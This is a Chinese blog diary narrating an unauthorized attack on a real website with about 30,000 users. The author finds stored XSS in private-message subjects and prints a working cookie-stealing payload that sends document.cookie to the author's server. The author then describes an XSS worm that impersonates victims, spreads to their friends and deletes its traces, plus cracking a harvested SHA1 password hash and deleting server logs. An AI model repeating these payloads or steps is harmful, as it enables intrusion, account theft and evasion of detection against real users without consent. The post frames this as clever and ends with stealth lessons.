写这篇文，主要想以日记的形式记录下我在整个测试(gongji)过程中的

心路历程、所用技术、填的坑等等。。

为了让文章显得不那么呆板，不那么流水，我尽量使用一些文艺点的词汇。

9月份的广州，一天天总是有雨。

我呆坐在华工图书馆里，望着窗外灰蒙蒙的天，湿漉漉的地，还有对面心情略显阴

沉的小W。

我很清楚她为什么心情不好，作业被老师刁难谁会好受呢。

本着一份打抱不平的心，我百度了下老师提到过的一个她有注册的网站，点击uri的一瞬间，

一个精致的页面展现在我的眼前。

大致的看了一下站点的基本讯息，注册人数大概有3万左右，算是个有些规模的网站了，

果断进入注册页面注册了一个账号。

那么接下来是根据PTES标准测试流程的

第一步，开始信息搜寻、收集了；

我默默打开nmap，键入域名踏上了这条漫长的Web漏洞分析之路。

首先nmap 扫出来是这样的:

看到这就明白了，收不收集信息什么的其实已经是无所谓了，菜菜如我的手中不可能握有apache抑或nginx的0day。

whois,nslookup的返回结果的意义也不是很大。

所以，通过Web对系统进行分析是唯一的出路了:)

所以渗透测试中的每一步都是极其灵活的，要依具体情况具体决定。

想到这里，让我们直接进入第二步：  威胁建模

这第二步听上去比较高大上，实际上即是从第一步获取的信息中对系统有个

比较详细的了解，从而确定最行之有效的攻击路线。

对于我的目标站点而言，唯一行之有效的攻击路线在于利用Web漏洞进行渗透(其他端口没开嘛= =)

于是，我们进入正题：

漏洞分析

在我们的常规认知中，Web漏洞是服务器软件自身的漏洞，一个应用软件自身出问题和整个系统出问题

相比，其影响应当是很小的。然而随着Web技术的不断发展，Web渐渐成为了服务器上最为核心的应用，

服务器最有价值的部分不再是昂贵的硬件和所需的人力物力资源，而是上面存储的用户数据、应用、以及

大量的用户。

对于Web漏洞，许多人也认为，通用的漏洞扫描器、网站防火墙、IDS等可以防御掉大部分攻击，因此不必

太在意Web服务上出现的漏洞。 从我自身而言，我比较反感使用自动化的漏洞扫描程序，寻找漏洞，更多

的时候所依靠的是一种感觉，基于技术和经验的感觉。

于是我开始手动地在网站上面进行测试。登陆了刚刚注册的账户之后，借着BurpSuite的站点地图功能，

我开始在各个存在id的地方手工注入测试是否存在Sql注入，找了一圈累的要死还没有结果。

然后我把注意力转向找回密码功能，网站向注册用户邮箱发送了带随机数生成的idtoken，完美，无解。

紧接着我又把目光投向了遍历目录、越权访问url，文件上传等，皆无功而返。

疲惫的我几乎已经要放弃这个对这个网站的渗透了，突然想起来，这几天不是一直在看XSS么。

可是XSS又有什么用，好像除了弹个框，获取一下cookie信息也无其他了。

但是毕竟也算是漏洞啊。。找找看吧。

如果只能找到反射型神马的，那就让我去睡觉吧。

突然，一个页面引起了我的注意-

站内信这种类似邮箱收发功能的应用，会不会存在XSS神马的呢？

在正文处，我想尽各种办法的键入都被过滤掉了。

即便从编码等角度入手，想尽办法把一个标签安插进去，都无能为力。。

就在我要关电脑走人的时候，突发奇想地我把一段JS嵌入到了站内信的主题位置：

这一次，img标签居然变成了一个带叉号的图标，这意味着，我的标签被页面嵌入了!

但是alert(/XSS/)被过滤成了Alert(/XSS/)。。

这个过滤也是让我非常无奈，于是果断eval(String.fromCharCode(97,xxx))，

紧接着，一个/XSS/字样的框弹了出来。

问题是，然后呢？

所有的XSS攻击，都是针对特定的用户实施的，比如，可能会访问某个被注入页面的一些用户，

这样所能造成的攻击效果一定是比较low的，除非这个网站包含什么敏感信息。

不管怎么说，现在终于有了一个注入点，我果断地将代码修改成：

<img sRc =1 onError = "new Image().src='http://myserver.com/?cookies='+document.cookie">

每当有一个用户点击他的信箱时，该js就会被执行。

果断地在myserver.com用nodejs搭起了一个小接收器，测试了一下，cookie飞过来了。。

这说明，网站没有对cookie设置Http-Only属性，让我的js轻易地获取到了，那么下面要做点

事情了。

返回用户个人信息的页面，我大致地浏览以下，有工作单位，专业，学位之类的信息，但是最下面的

一行内容引起了我的兴趣：

F12看一下后台，SHA1的加密。这基本等同于把明文密码放到了用户页面上，拥有cookie就等于拥有

了密码？？？真是天助我也！

不管了，我立刻抄起python写了一个提取这个页面密码的脚本。

提起爬虫，感觉突然间有了思路：如果爬虫带着cookie遍历一遍整个网站自然没什么意义，我随便注册一个

用户也可以；但是如果带着别人的cookie（即冒充其他用户）通过站内信以同样的方式发送XSS脚本给这个人的朋

友，然后爬虫再带着这个人朋友的cookie（即冒充他）给他的好友发送同样的内容，这样不用很久，除了不使

用站内信的人，基本每个人的信箱里都有那么一封信，只要打开信箱，就会发送自己的cookie到我的服务器

同时给他的朋友发送这封信！

这不就是蠕虫了吗？（后面的事情的发展证明，菜如我并不知道什么才叫蠕虫，为什么不用js去写，而非用myserver上的python脚本呢。。我到现在也不明白自己当时是怎么想的。）

于是我飞快的引入了requests库，构建带cookie爬虫的基本请求；

引入socket,建立nodejs与python进程的通信管道；

把从nodejs那里得到的字符串切割分离包装成字典装入requests；

构建目标URL表单；

用bs4、正则匹配所有我需要的内容，把内容包装好放入mongodb或者post数据表单中，

一切都进行地井井有条。

正在我快速完善着这只伪装成爬虫的蠕虫的时候，一个念头突然闪过：myserver.com是我的ali云服务器，

就这么直接暴露在js代码里，那岂不是被人群起而攻之？可是不用myserver又如何获取cookie呢？

机智如我想到：如果在拿到cookie的一瞬间，爬虫就直奔站内信把所有含有我的代码的信件全部删除！无论

是收件还是发件，正常人用浏览器看页面一般是不会第一次就查看源代码的吧，然而他看到我那封站内信

只有一次机会。F5刷新之后，一切都恢复了正常，除了他发给他朋友的信件以及留在我server里的SHA1过

的密码。

但是删除的逻辑并不是那么容易模仿的，我快速地敲击着键盘，键盘发出悠悠的蓝光，抬手一看表，丫的

四点了！

//这只爬虫/蠕虫挂在了Github-WebCralwerOrXSSWorm

打了个哈欠，果断睡觉了。

第二天下午，又是大雨天。

睡了一上午的我，揉着疲惫的眼睛又坐在了电脑前。再次审视我的爬虫/蠕虫，虽然是仓促而成，但也初具规模了，

一想起我那爬虫作蠕虫的思路，就觉得自己很机智有木有。的确，只需要给人气最高的1-2个用户发送这封内容为

“老师我想与你探讨个问题”的邮件，他们在点击自己站内信箱的一瞬间，他的所有好友就都得到了同样的邮件，

最后谁能搞清楚谁是第一个发送的呢?而且这可是神奇的邮件，一被点击就会消失的邮件。

下午17:29分，攻击开始。

我最后检查了一遍爬虫脚本，将其上传至myserver.com， 同时配置好了nodejs-server.

我的小爬虫/蠕虫会有什么样的表现呢？

我用昨天注册的账户登陆了网站，在推荐用户中选择了人气最旺的几位用户，就让他们帮我传播这封邮件吧！

在发送邮件的同时，我快速切出终端，输入npm start ; python Listener.py

然后静静等待着。

没错，邮件已经送达。一个用户已经开始查看了！我看到一个cookie显示在python这边的输出意味着他已经获取

到了cookie，下面就开始发送邮件然后删除信箱内的邮件，再然后，获取密码并写入数据库。

我双手托腮，静静地看着cookie一个一个跳出来。。。

就在这时，脚本突然中断了！一个错误提示跳出来，指明某变量为空。紧接着，这只爬虫如同

泄了气的皮球，整个停滞下来。

我。。。怎么会？脚本输入的cookie都是固定格式的，因此在处理输入变量异常等错误时我也没有考虑

太多，难道有人手动get那个脚本？看到nodejs那边还在继续运行，我飞速地重启了两边的程序，重新

使他们建立了链接。看到cookie又开始在屏幕上出现，我舒了一口气。

然而没过多久，同样的事情又发生了。

nodejs还在接受cookie，然而python脚本已经死掉了！

我想，这下完了。很多邮件已经发送到了victim的朋友的邮箱里，然而爬虫/蠕虫阵亡了，谁去处理

并删除那些邮件？

我又一次飞速地重启了两边的脚本，结果这次nodejs和python都在空转，接收不到值了。

我呆滞地坐在屏幕前，开始不着边际地想，是被对面有高手反黑了吗额？我的myserver.com还安全吗？

我的实验室还安全么？会不会马上就有人来送快递了丫的。

愣了几秒后，我快速关闭了两边的脚本，删除了服务器上的日志，灰溜溜地下了线。

一看表，时间是18:20，距离攻击开始过去了大概50分钟。

我又重新连回myserver.com,看了下mongodb里面的情况，的确拿到了一些cookie,然而，不多。

我从里面挑选了一个研究生的hash密码，放到网上，秒解。小写字母+数字，6位。登陆了他的站内信，

我惊奇地发现他的站内信里面有大量的主题是一幅坏掉图片的邮件！！我快速F12下进去看了源码，

不是我的js代码。

我一下明白了，他很可能是网站管理员，并且已经发现了这次攻击的具体情况！

不得不说，反应够快，才50分钟而已，一切都在他的掌控之中了。

我在他站内信里留了一封邮件，阐明了我测试的目的和我发现的漏洞，以及我的qq。

几分钟之后，他加了我，我们聊了聊。他告诉我，他们网站的IDS发现了你的服务器的异常行为。

我这才明白过来，是爬虫访问频率过高，导致我的行为被IDS侦测到了！

我当初为什么要用python写这个爬虫啊！这根本不是什么蠕虫，就是个不停拿各种cookie在发送

请求的爬虫。。。

回想过来，我这次攻击的最大缺点是，相当于把所有流量都重定向到了myserver.com，不仅加大了

被发现的概率，同时也提升了利用漏洞的难度。

其次，脚本的容错性太差，试想一个要publish的软件，能动不动就趴窝么？

再有，隐蔽性不够好，虽然利用了学校里其他位置的主机和服务器，但不还是在学校里么。。

优点在于，拿爬虫当蠕虫这个思路比较新颖把。。。如果算的话。。

我诚恳地道了歉，并且详细地说明了漏洞的情况，对方也很慷慨地原谅了我。

我真的挺感谢这位管理员的，按道理说他完全有理由给我送快递。。

而且他对攻击的反应速度，证明了他业务的熟练能力。

雨刚过的路上还是湿的，我默默地走在去饭堂的路上。周围喧闹的人群中，我低下头，发现了一只超级大的蜗牛。

他好像很艰难地在人群中爬着，周围人似乎都没有看到他。

我默默捡起这只巨大的蜗牛，把他放到了花坛边。